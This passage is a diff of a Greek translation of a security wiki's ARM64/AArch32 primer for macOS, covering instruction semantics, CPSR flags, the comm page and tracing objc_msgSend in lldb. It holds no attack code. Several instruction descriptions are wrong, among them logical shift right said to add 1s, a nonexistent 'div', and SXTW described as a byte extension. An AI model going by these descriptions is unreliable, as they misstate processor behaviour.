- `str lr, [sp, #-4]!`, Αποθήκευση του καταχωρητή σύνδεσης στο sp και ενημέρωση του καταχωρητή sp
|
||||
- **Μετά την Καταχώρηση**: Αυτό είναι όπως η προηγούμενη αλλά η διεύθυνση μνήμης προσπελάζεται και στη συνέχεια υπολογίζεται και αποθηκεύεται το offset.
|
||||
- `ldr x0, [x1], #8`, φορτώστε το `x1` στο `x0` και ενημερώστε το x1 με `x1 + 8`
|
||||
- **Μετά την Εύρεση Λειτουργία**: Αυτό είναι όπως η προηγούμενη αλλά η διεύθυνση μνήμης προσπελάζεται και στη συνέχεια υπολογίζεται και αποθηκεύεται το offset.
|
||||
- `ldr x0, [x1], #8`, φορτώνει το `x1` στο `x0` και ενημερώνει το x1 με `x1 + 8`
|
||||
- **Διεύθυνση Σχετική με το PC**: Σε αυτή την περίπτωση, η διεύθυνση που θα φορτωθεί υπολογίζεται σχετική με τον καταχωρητή PC
|
||||
- `ldr x1, =_start`, Αυτό θα φορτώσει τη διεύθυνση όπου ξεκινά το σύμβολο `_start` στο x1 σχετική με το τρέχον PC.
|
||||
- **`str`**: **Αποθήκευση** μιας τιμής από έναν **καταχωρητή** σε **μνήμη**.
|
||||
@ -123,33 +123,32 @@
|
||||
- **`stp`**: **Αποθήκευση Ζεύγους Καταχωρητών**. Αυτή η εντολή **αποθηκεύει δύο καταχωρητές** σε **διαδοχικές μνήμες**. Η διεύθυνση μνήμης σχηματίζεται συνήθως προσθέτοντας ένα offset στην τιμή ενός άλλου καταχωρητή.
|
||||
- Παράδειγμα: `stp x0, x1, [sp]` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης στο `sp` και `sp + 8`, αντίστοιχα.
|
||||
- `stp x0, x1, [sp, #16]!` — Αυτό αποθηκεύει το `x0` και το `x1` στις διευθύνσεις μνήμης στο `sp+16` και `sp + 24`, αντίστοιχα, και ενημερώνει το `sp` με `sp+16`.
|
||||
- **`add`**: **Προσθέστε** τις τιμές δύο καταχωρητών και αποθηκεύστε το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- **`add`**: **Προσθέτει** τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
- Xn1 -> Προορισμός
|
||||
- Xn2 -> Λειτουργία 1
|
||||
- Xn3 | #imm -> Λειτουργία 2 (καταχωρητής ή άμεσο)
|
||||
- \[shift #N | RRX] -> Εκτελέστε μια μετατόπιση ή καλέστε RRX
|
||||
- \[shift #N | RRX] -> Εκτέλεση μιας μετατόπισης ή κλήση RRX
|
||||
- Παράδειγμα: `add x0, x1, x2` — Αυτό προσθέτει τις τιμές στο `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- `add x5, x5, #1, lsl #12` — Αυτό ισούται με 4096 (ένα 1 μετατοπισμένο 12 φορές) -> 1 0000 0000 0000 0000
|
||||
- **`adds`** Αυτή εκτελεί μια `add` και ενημερώνει τις σημαίες
|
||||
- **`sub`**: **Αφαιρέστε** τις τιμές δύο καταχωρητών και αποθηκεύστε το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- **`sub`**: **Αφαιρεί** τις τιμές δύο καταχωρητών και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Ελέγξτε τη **σύνταξη `add`**.
|
||||
- Παράδειγμα: `sub x0, x1, x2` — Αυτό αφαιρεί την τιμή στο `x2` από το `x1` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`subs`** Αυτό είναι όπως το sub αλλά ενημερώνει τη σημαία
|
||||
- **`mul`**: **Πολλαπλασιάστε** τις τιμές **δύο καταχωρητών** και αποθηκεύστε το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- **`mul`**: **Πολλαπλασιάζει** τις τιμές **δύο καταχωρητών** και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `mul x0, x1, x2` — Αυτό πολλαπλασιάζει τις τιμές στο `x1` και `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`div`**: **Διαιρέστε** την τιμή ενός καταχωρητή με έναν άλλο και αποθηκεύστε το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- **`div`**: **Διαιρεί** την τιμή ενός καταχωρητή με έναν άλλο και αποθηκεύει το αποτέλεσμα σε έναν καταχωρητή.
|
||||
- Παράδειγμα: `div x0, x1, x2` — Αυτό διαιρεί την τιμή στο `x1` με το `x2` και αποθηκεύει το αποτέλεσμα στο `x0`.
|
||||
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
- **Λογική μετατόπιση αριστερά**: Προσθέστε 0s από το τέλος μετακινώντας τα άλλα bits προς τα εμπρός (πολλαπλασιάστε με n-φορές 2)
|
||||
- **Λογική μετατόπιση δεξιά**: Προσθέστε 1s στην αρχή μετακινώντας τα άλλα bits προς τα πίσω (διαιρέστε με n-φορές 2 σε μη υπογεγραμμένα)
|
||||
- **Αριθμητική μετατόπιση δεξιά**: Όπως **`lsr`**, αλλά αντί να προσθέσετε 0s αν το πιο σημαντικό bit είναι 1, **προστίθενται 1s** (διαιρέστε με n-φορές 2 σε υπογεγραμμένα)
|
||||
- **Μετατόπιση δεξιά**: Όπως **`lsr`** αλλά ό,τι αφαιρείται από τα δεξιά προστίθεται στα αριστερά
|
||||
- **Μετατόπιση Δεξιά με Επέκταση**: Όπως **`ror`**, αλλά με τη σημαία μεταφοράς ως "πιο σημαντικό bit". Έτσι η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρεθέν bit στη σημαία μεταφοράς.
|
||||
- **`bfm`**: **Μετακίνηση Bit Filed**, αυτές οι λειτουργίες **αντιγράφουν bits `0...n`** από μια τιμή και τα τοποθετούν σε θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη **θέση του αριστερού bit** και το **`#r`** την **ποσότητα μετατόπισης δεξιά**.
|
||||
- Μετακίνηση bitfiled: `BFM Xd, Xn, #r`
|
||||
- Υπογεγραμμένη μετακίνηση bitfield: `SBFM Xd, Xn, #r, #s`
|
||||
- Μη υπογεγραμμένη μετακίνηση bitfield: `UBFM Xd, Xn, #r, #s`
|
||||
- **Λογική μετατόπιση αριστερά**: Προσθέτει 0s από το τέλος μετακινώντας τα άλλα bits προς τα εμπρός (πολλαπλασιάζει με n-φορές 2)
|
||||
- **Λογική μετατόπιση δεξιά**: Προσθέτει 1s στην αρχή μετακινώντας τα άλλα bits προς τα πίσω (διαιρεί με n-φορές 2 σε μη υπογεγραμμένα)
|
||||
- **Αριθμητική μετατόπιση δεξιά**: Όπως **`lsr`**, αλλά αντί να προσθέτει 0s αν το πιο σημαντικό bit είναι 1, προστίθενται **1s** (διαιρεί με n-φορές 2 σε υπογεγραμμένα)
|
||||
- **Μετατόπιση δεξιά με επέκταση**: Όπως **`ror`**, αλλά με τη σημαία μεταφοράς ως "το πιο σημαντικό bit". Έτσι, η σημαία μεταφοράς μετακινείται στο bit 31 και το αφαιρεθέν bit στη σημαία μεταφοράς.
|
||||
- **`bfm`**: **Μεταφορά Bit Filed**, αυτές οι λειτουργίες **αντιγράφουν bits `0...n`** από μια τιμή και τα τοποθετούν σε θέσεις **`m..m+n`**. Το **`#s`** καθορίζει τη **θέση του αριστερού bit** και το **`#r`** την **ποσότητα μετατόπισης δεξιά**.
|
||||
- Μεταφορά bitfiled: `BFM Xd, Xn, #r`
|
||||
- Υπογεγραμμένη μεταφορά bitfield: `SBFM Xd, Xn, #r, #s`
|
||||
- Μη υπογεγραμμένη μεταφορά bitfield: `UBFM Xd, Xn, #r, #s`
|
||||
- **Εξαγωγή και Εισαγωγή Bitfield:** Αντιγράφει ένα bitfield από έναν καταχωρητή και το αντιγράφει σε έναν άλλο καταχωρητή.
|
||||
- **`BFI X1, X2, #3, #4`** Εισάγει 4 bits από το X2 από το 3ο bit του X1
|
||||
- **`BFXIL X1, X2, #3, #4`** Εξάγει από το 3ο bit του X2 τέσσερα bits και τα αντιγράφει στο X1
|
||||
@ -157,21 +156,21 @@
|
||||
- **`SBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2, επεκτείνει το σήμα τους και τοποθετεί το αποτέλεσμα στο X1
|
||||
- **`UBFIZ X1, X2, #3, #4`** Μηδενίζει 4 bits από το X2 και τα εισάγει στο X1 ξεκινώντας από τη θέση bit 3 μηδενίζοντας τα δεξιά bits
|
||||
- **`UBFX X1, X2, #3, #4`** Εξάγει 4 bits ξεκινώντας από το bit 3 από το X2 και τοποθετεί το μηδενισμένο αποτέλεσμα στο X1.
|
||||
- **Επέκταση Σημασίας σε X:** Επεκτείνει το σήμα (ή προσθέτει απλώς 0s στην μη υπογεγραμμένη έκδοση) μιας τιμής για να μπορέσει να εκτελέσει λειτουργίες με αυτήν:
|
||||
- **Επέκταση Σημασίας σε X:** Επεκτείνει το σήμα (ή προσθέτει απλώς 0s στην μη υπογεγραμμένη έκδοση) μιας τιμής για να μπορεί να εκτελεί λειτουργίες με αυτήν:
|
||||
- **`SXTB X1, W2`** Επεκτείνει το σήμα ενός byte **από W2 σε X1** (`W2` είναι το μισό του `X2`) για να γεμίσει τα 64bits
|
||||
- **`SXTH X1, W2`** Επεκτείνει το σήμα ενός αριθμού 16bit **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`SXTH X1, W2`** Επεκτείνει το σήμα ενός 16bit αριθμού **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`SXTW X1, W2`** Επεκτείνει το σήμα ενός byte **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`UXTB X1, W2`** Προσθέτει 0s (μη υπογεγραμμένα) σε ένα byte **από W2 σε X1** για να γεμίσει τα 64bits
|
||||
- **`extr`:** Εξάγει bits από ένα καθορισμένο **ζεύγος καταχωρητών που συνδυάζονται**.
|
||||
- Παράδειγμα: `EXTR W3, W2, W1, #3` Αυτό θα **συνδυάσει W1+W2** και θα πάρει **από το bit 3 του W2 έως το bit 3 του W1** και θα το αποθηκεύσει στο W3.
|
||||
- **`cmp`**: **Συγκρίνετε** δύο καταχωρητές και ρυθμίστε τις σημαίες συνθηκών. Είναι ένα **ψευδώνυμο του `subs`** ρυθμίζοντας τον καταχωρητή προορισμού στο μηδενικό καταχωρητή. Χρήσιμο για να γνωρίζετε αν `m == n`.
|
||||
- **`cmp`**: **Συγκρίνει** δύο καταχωρητές και ρυθμίζει τις σημαίες συνθηκών. Είναι ένα **ψευδώνυμο του `subs`** ρυθμίζοντας τον καταχωρητή προορισμού στο μηδενικό καταχωρητή. Χρήσιμο για να γνωρίζετε αν `m == n`.
|
||||
- Υποστηρίζει την **ίδια σύνταξη με `subs`**
|
||||
- Παράδειγμα: `cmp x0, x1` — Αυτό συγκρίνει τις τιμές στο `x0` και `x1` και ρυθμίζει τις σημαίες συνθηκών αναλόγως.
|
||||
- **`cmn`**: **Συγκρίνετε αρνητική** παράμετρο. Σε αυτή την περίπτωση είναι ένα **ψευδώνυμο του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν `m == -n`.
|
||||
- **`cmn`**: **Συγκρίνει αρνητική** παράμετρο. Σε αυτή την περίπτωση είναι ένα **ψευδώνυμο του `adds`** και υποστηρίζει την ίδια σύνταξη. Χρήσιμο για να γνωρίζετε αν `m == -n`.
|
||||
- **`ccmp`**: Συνθήκη σύγκρισης, είναι μια σύγκριση που θα εκτελείται μόνο αν μια προηγούμενη σύγκριση ήταν αληθής και θα ρυθμίσει συγκεκριμένα τα bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> αν x1 != x2 και x3 < x4, πηγαίνετε στη func
|
||||
- Αυτό συμβαίνει επειδή **`ccmp`** θα εκτελείται μόνο αν η **προηγούμενη `cmp` ήταν `NE`**, αν δεν ήταν τα bits `nzcv` θα ρυθμιστούν σε 0 (που δεν θα ικανοποιήσει τη σύγκριση `blt`).
|
||||
- Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn` (ίδιο αλλά αρνητικό, όπως `cmp` έναντι `cmn`).
|
||||
- Αυτό μπορεί επίσης να χρησιμοποιηθεί ως `ccmn` (το ίδιο αλλά αρνητικό, όπως `cmp` έναντι `cmn`).
|
||||
- **`tst`**: Ελέγχει αν οποιαδήποτε από τις τιμές της σύγκρισης είναι και οι δύο 1 (λειτουργεί όπως και το ANDS χωρίς να αποθηκεύει το αποτέλεσμα οπουδήποτε). Είναι χρήσιμο για να ελέγξετε έναν καταχωρητή με μια τιμή και να δείτε αν οποιοδήποτε από τα bits του καταχωρητή που υποδεικνύεται στην τιμή είναι 1.
|
||||
- Παράδειγμα: `tst X1, #7` Ελέγξτε αν οποιοδήποτε από τα τελευταία 3 bits του X1 είναι 1
|
||||
- **`teq`**: Λειτουργία XOR απορρίπτοντας το αποτέλεσμα
|
||||
@ -186,14 +185,14 @@
|
||||
- **`ret`**: **Επιστροφή** από **υπορουτίνα**, συνήθως χρησιμοποιώντας τη διεύθυνση στο **`x30`**.
|
||||
- Παράδειγμα: `ret` — Αυτό επιστρέφει από την τρέχουσα υπορουτίνα χρησιμοποιώντας τη διεύθυνση επιστροφής στο `x30`.
|
||||
- **`b.<cond>`**: Συνθήκες κλάδου
|
||||
- **`b.eq`**: **Κλάδος αν ίσο**, βασισμένος στην προηγούμενη εντολή `cmp`.
|
||||
- Παράδειγμα: `b.eq label` — Εάν η προηγούμενη εντολή `cmp` βρήκε δύο ίσες τιμές, αυτό πηγαίνει στην `label`.
|
||||
- **`b.eq`**: **Κλάδος αν ίσο**, βασισμένο στην προηγούμενη εντολή `cmp`.
|
||||
- Παράδειγμα: `b.eq label` — Εάν η προηγούμενη εντολή `cmp` βρήκε δύο ίσες τιμές, αυτό πηγαίνει στο `label`.
|
||||
- **`b.ne`**: **Κλάδος αν Όχι Ίσο**. Αυτή η εντολή ελέγχει τις σημαίες συνθηκών (οι οποίες ρυθμίστηκαν από μια προηγούμενη εντολή σύγκρισης), και αν οι συγκρινόμενες τιμές δεν ήταν ίσες, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label` — Εάν οι τιμές στο `x0` και `x1` δεν ήταν ίσες, αυτό πηγαίνει στην `label`.
|
||||
- **`cbz`**: **Συγκρίνετε και Κλάδος σε Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbz x0, label` — Εάν η τιμή στο `x0` είναι μηδέν, αυτό πηγαίνει στην `label`.
|
||||
- **`cbnz`**: **Συγκρίνετε και Κλάδος σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbnz x0, label` — Εάν η τιμή στο `x0` είναι μη μηδέν, αυτό πηγαίνει στην `label`.
|
||||
- Παράδειγμα: Μετά από μια εντολή `cmp x0, x1`, `b.ne label` — Εάν οι τιμές στο `x0` και `x1` δεν ήταν ίσες, αυτό πηγαίνει στο `label`.
|
||||
- **`cbz`**: **Σύγκριση και Κλάδος στο Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbz x0, label` — Εάν η τιμή στο `x0` είναι μηδέν, αυτό πηγαίνει στο `label`.
|
||||
- **`cbnz`**: **Σύγκριση και Κλάδος σε Μη Μηδέν**. Αυτή η εντολή συγκρίνει έναν καταχωρητή με το μηδέν, και αν δεν είναι ίσοι, κλάδος σε μια ετικέτα ή διεύθυνση.
|
||||
- Παράδειγμα: `cbnz x0, label` — Εάν η τιμή στο `x0` είναι μη μηδέν, αυτό πηγαίνει στο `label`.
|
||||
- **`tbnz`**: Δοκιμή bit και κλάδος σε μη μηδέν
|
||||
- Παράδειγμα: `tbnz x0, #8, label`
|
||||
- **`tbz`**: Δοκιμή bit και κλάδος σε μηδέν
|
||||
@ -226,7 +225,7 @@ svc 0 ; Κάντε την κλήση συστήματος.
|
||||
|
||||
### **Πρόλογος Συνάρτησης**
|
||||
|
||||
1. **Αποθηκεύστε τον καταχωρητή σύνδεσης και τον δείκτη πλαισίου στο στοίβα**:
|
||||
1. **Αποθήκευση του καταχωρητή σύνδεσης και του δείκτη πλαισίου στο στοίβα**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
@ -244,12 +243,12 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||
|
||||
## AARCH32 Κατάσταση Εκτέλεσης
|
||||
|
||||
Το Armv8-A υποστηρίζει την εκτέλεση 32-bit προγραμμάτων. **AArch32** μπορεί να εκτελείται σε ένα από **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να αλλάξει μεταξύ τους μέσω **`interworking`**.\
|
||||
Armv8-A υποστηρίζει την εκτέλεση 32-bit προγραμμάτων. **AArch32** μπορεί να εκτελείται σε ένα από **δύο σύνολα εντολών**: **`A32`** και **`T32`** και μπορεί να αλλάξει μεταξύ τους μέσω **`interworking`**.\
|
||||
**Προνομιακά** 64-bit προγράμματα μπορούν να προγραμματίσουν την **εκτέλεση 32-bit** προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης σε χαμηλότερο προνομιακό 32-bit.\
|
||||
Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα, ένα 64-bit πρόγραμμα σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το **bit 4 του** **`SPSR_ELx`** ειδικού καταχωρητή **σε 1** όταν το νήμα διαδικασίας `AArch32` είναι έτοιμο να εκτελεστεί και το υπόλοιπο του `SPSR_ELx` αποθηκεύει το **`AArch32`** CPSR. Στη συνέχεια, η προνομιακή διαδικασία καλεί την εντολή **`ERET`** ώστε ο επεξεργαστής να μεταβεί σε **`AArch32`** εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR\*\*.\*\*
|
||||
|
||||
Η **`interworking`** συμβαίνει χρησιμοποιώντας τα bits J και T του CPSR. `J=0` και `T=0` σημαίνει **`A32`** και `J=0` και `T=1` σημαίνει **T32**. Αυτό βασικά μεταφράζεται σε ρύθμιση του **χαμηλότερου bit σε 1** για να υποδείξει ότι το σύνολο εντολών είναι T32.\
|
||||
Αυτό ρυθμίζεται κατά τη διάρκεια των **εντολών διακλάδωσης interworking,** αλλά μπορεί επίσης να ρυθμιστεί άμεσα με άλλες εντολές όταν το PC ρυθμίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:
|
||||
Αυτό ρυθμίζεται κατά τη διάρκεια των **εντολών κλάδου interworking,** αλλά μπορεί επίσης να ρυθμιστεί άμεσα με άλλες εντολές όταν το PC ρυθμίζεται ως ο καταχωρητής προορισμού. Παράδειγμα:
|
||||
|
||||
Ένα άλλο παράδειγμα:
|
||||
```armasm
|
||||
@ -272,7 +271,7 @@ mov r0, #8
|
||||
- **`r13`**: Δείκτης στοίβας
|
||||
- **`r14`**: Καταχωρητής σύνδεσης
|
||||
|
||||
Επιπλέον, οι καταχωρητές αποθηκεύονται σε **`banked registries`**. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την **γρήγορη εναλλαγή πλαισίου** στη διαχείριση εξαιρέσεων και σε προνομιακές λειτουργίες για να αποφευχθεί η ανάγκη να αποθηκεύονται και να επαναφέρονται οι καταχωρητές κάθε φορά.\
|
||||
Επιπλέον, οι καταχωρητές αποθηκεύονται σε **`banked registries`**. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την **γρήγορη εναλλαγή πλαισίου** στη διαχείριση εξαιρέσεων και σε προνομιακές λειτουργίες για να αποφευχθεί η ανάγκη να αποθηκεύονται και να επαναφέρονται οι καταχωρητές χειροκίνητα κάθε φορά.\
|
||||
Αυτό γίνεται με **την αποθήκευση της κατάστασης του επεξεργαστή από το `CPSR` στο `SPSR`** της λειτουργίας του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το **`CPSR`** επαναφέρεται από το **`SPSR`**.
|
||||
|
||||
### CPSR - Current Program Status Register
|
||||
@ -292,7 +291,7 @@ mov r0, #8
|
||||
- Η σημαία **`Q`**: Ρυθμίζεται σε 1 όποτε **συμβαίνει κορεσμός ακέραιων αριθμών** κατά την εκτέλεση μιας εξειδικευμένης εντολής αριθμητικής κορεσμού. Μόλις ρυθμιστεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να ρυθμιστεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που να ελέγχει την τιμή της έμμεσα, πρέπει να γίνει διαβάζοντάς την χειροκίνητα.
|
||||
- Οι σημαίες **`GE`** (Μεγαλύτερο ή ίσο): Χρησιμοποιούνται σε SIMD (Single Instruction, Multiple Data) λειτουργίες, όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μία μόνο εντολή.
|
||||
|
||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερις ζεύγους byte** (από δύο 32-bit operands) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια **ρυθμίζει τις σημαίες `GE` στο `APSR`** με βάση αυτά τα αποτελέσματα. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχειλίζει**.
|
||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερις ζεύξεις byte** (από δύο 32-bit operands) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια **ρυθμίζει τις σημαίες `GE` στο `APSR`** με βάση αυτά τα αποτελέσματα. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για εκείνο το ζεύγος byte **υπερχειλίζει**.
|
||||
|
||||
Η εντολή **`SEL`** χρησιμοποιεί αυτές τις σημαίες GE για να εκτελέσει συνθήκες.
|
||||
|
||||
@ -301,11 +300,11 @@ mov r0, #8
|
||||
- Τα bits **`J`** και **`T`**: **`J`** πρέπει να είναι 0 και αν **`T`** είναι 0 χρησιμοποιείται το σύνολο εντολών A32, και αν είναι 1, χρησιμοποιείται το T32.
|
||||
- **IT Block State Register** (`ITSTATE`): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμα **`IT`**.
|
||||
- Το bit **`E`**: Υποδεικνύει την **endianness**.
|
||||
- **Bits Μάσκας Λειτουργίας και Εξαίρεσης** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν την **τρέχουσα κατάσταση εξαίρεσης** (όταν συμβαίνει μια εξαίρεση και διαχειρίζεται). Ο αριθμός που έχει ρυθμιστεί **υποδεικνύει την τρέχουσα προτεραιότητα** σε περίπτωση που προκληθεί άλλη εξαίρεση ενώ αυτή διαχειρίζεται.
|
||||
- **Bits Μάσκας Λειτουργίας και Εξαίρεσης** (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το **5ο** υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη **λειτουργία εξαίρεσης που χρησιμοποιείται αυτή τη στιγμή** (όταν συμβαίνει μια εξαίρεση και διαχειρίζεται). Ο αριθμός που έχει ρυθμιστεί **υποδεικνύει την τρέχουσα προτεραιότητα** σε περίπτωση που προκληθεί άλλη εξαίρεση ενώ αυτή διαχειρίζεται.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονοι τερματισμοί**. Το **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής **Interrupts Requests** (IRQs). και το F σχετίζεται με **Fast Interrupt Requests** (FIRs).
|
||||
- **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονοι τερματισμοί**. Το **`I`** ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής υλικού **Interrupts Requests** (IRQs). και το F σχετίζεται με **Fast Interrupt Requests** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
@ -336,13 +335,13 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
||||
|
||||
### comm page
|
||||
|
||||
Αυτή είναι μια σελίδα μνήμης που ανήκει στον πυρήνα και είναι χαρτογραφημένη στο χώρο διευθύνσεων κάθε διεργασίας χρήστη. Σκοπός της είναι να διευκολύνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο του πυρήνα πιο γρήγορα από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
|
||||
Αυτή είναι μια σελίδα μνήμης που ανήκει στον πυρήνα και είναι χαρτογραφημένη στο διευθυνσιολόγιο κάθε διεργασίας χρήστη. Σκοπός της είναι να επιταχύνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο του πυρήνα σε σχέση με τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση θα ήταν πολύ αναποτελεσματική.
|
||||
|
||||
Για παράδειγμα, η κλήση `gettimeofdate` διαβάζει την τιμή του `timeval` απευθείας από τη σελίδα comm.
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
Είναι πολύ συνηθισμένο να βρείτε αυτή τη λειτουργία να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η λειτουργία επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.
|
||||
Είναι πολύ συνηθισμένο να βρείτε αυτή τη συνάρτηση να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η συνάρτηση επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.
|
||||
|
||||
Παράμετροι ([περισσότερες πληροφορίες στα docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
@ -350,7 +349,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
||||
- x1: op -> Επιλογέας της μεθόδου
|
||||
- x2... -> Υπόλοιπες παράμετροι της καλούμενης μεθόδου
|
||||
|
||||
Έτσι, αν βάλετε σημείο διακοπής πριν από τον κλάδο σε αυτή τη λειτουργία, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από το `NSConcreteTask` που θα εκτελέσει μια εντολή):
|
||||
Έτσι, αν βάλετε σημείο διακοπής πριν από τον κλάδο σε αυτή τη συνάρτηση, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από το `NSConcreteTask` που θα εκτελέσει μια εντολή):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -371,23 +370,23 @@ whoami
|
||||
> [!TIP]
|
||||
> Ρυθμίζοντας τη μεταβλητή env **`NSObjCMessageLoggingEnabled=1`** είναι δυνατή η καταγραφή όταν καλείται αυτή η συνάρτηση σε ένα αρχείο όπως το `/tmp/msgSends-pid`.
|
||||
>
|
||||
> Επιπλέον, ρυθμίζοντας **`OBJC_HELP=1`** και καλώντας οποιοδήποτε δυαδικό, μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να **log** όταν συμβαίνουν ορισμένες ενέργειες Objc-C.
|
||||
> Επιπλέον, ρυθμίζοντας **`OBJC_HELP=1`** και καλώντας οποιοδήποτε δυαδικό μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να **log** όταν συμβαίνουν ορισμένες ενέργειες Objc-C.
|
||||
|
||||
Όταν καλείται αυτή η συνάρτηση, είναι απαραίτητο να βρείτε τη μέθοδο που καλείται από την υποδεικνυόμενη παρουσία, για αυτό γίνονται διαφορετικές αναζητήσεις:
|
||||
Όταν καλείται αυτή η συνάρτηση, είναι απαραίτητο να βρείτε τη μέθοδο που καλείται της υποδεικνυόμενης παρουσίας, για αυτό γίνονται διαφορετικές αναζητήσεις:
|
||||
|
||||
- Εκτέλεση αισιόδοξης αναζήτησης cache:
|
||||
- Αν είναι επιτυχής, ολοκληρώθηκε
